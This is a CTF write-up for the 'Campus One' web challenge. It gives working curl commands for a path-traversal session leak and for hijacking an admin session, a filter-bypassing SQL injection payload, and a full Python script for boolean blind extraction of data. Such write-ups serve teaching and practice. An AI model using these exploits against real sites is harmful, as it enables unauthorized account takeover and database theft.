CTF-Writeups

Web/Campus One - Writeup

Summary

The site is a Next.js storefront with an admin console. A path traversal in the debug endpoint leaks active session IDs, including an admin session. Using that session cookie grants access to /admin and /api/admin/search. The search endpoint is SQL-injectable; SELECT is blocked by a naive filter, but comment obfuscation (select/**/) works. A boolean-based extraction pulls the flag from the secrets table.

Recon

Step 1: Leak an Admin Session

curl -s https://campus-one.ctf.rusec.club/api/admin%2f..%2fdebug%2fsessions

Look for an entry like:

{"sessionId":"admin_session_44920_x8z","user":"admin_root","role":"administrator"}

Step 2: Access Admin Panel + API

Use the leaked session cookie:

SID=admin_session_44920_x8z
curl -s -H "Cookie: session_id=$SID" https://campus-one.ctf.rusec.club/admin

Admin UI shows a search function hitting:

/api/admin/search?q=...

The query is concatenated into a SQL LIKE clause. Simple SELECT/UNION payloads error (filter), but comment obfuscation works:

Boolean-based extraction works by toggling whether the query still matches results:

' || (CASE WHEN <cond> THEN '' ELSE 'ZZZ' END) || '

If <cond> is true, results appear; otherwise, none.

Step 4: Extract the Flag

The flag is stored in secrets.value. Use binary search on length and characters:

import urllib.parse, urllib.request, json

sid = "admin_session_44920_x8z"
base = "https://campus-one.ctf.rusec.club/api/admin/search?q="
opener = urllib.request.build_opener()

def check(cond):
    payload = "' || (CASE WHEN " + cond + " THEN '' ELSE 'ZZZ' END) || '"
    q = urllib.parse.quote(payload, safe="")
    req = urllib.request.Request(base + q, headers={"Cookie": f"session_id={sid}"})
    with opener.open(req, timeout=10) as resp:
        data = json.loads(resp.read().decode())
    return data.get("count", 0) > 0

# length
low, high = 1, 128
while check(f"(select/**/length(value) from/**/secrets limit 1) > {high}"):
    high *= 2
lo, hi = 1, high
while lo < hi:
    mid = (lo + hi + 1) // 2
    if check(f"(select/**/length(value) from/**/secrets limit 1) >= {mid}"):
        lo = mid
    else:
        hi = mid - 1
length = lo

# chars
flag = []
for pos in range(1, length + 1):
    lo, hi = 32, 126
    while lo < hi:
        mid = (lo + hi) // 2
        if check(f"(select/**/unicode(substr(value,{pos},1)) from/**/secrets limit 1) > {mid}"):
            lo = mid + 1
        else:
            hi = mid
    flag.append(chr(lo))
print("flag:", "".join(flag))

Flag

RUSEC{S3ss10n_H1j4ck1ng_1s_Fun_2938}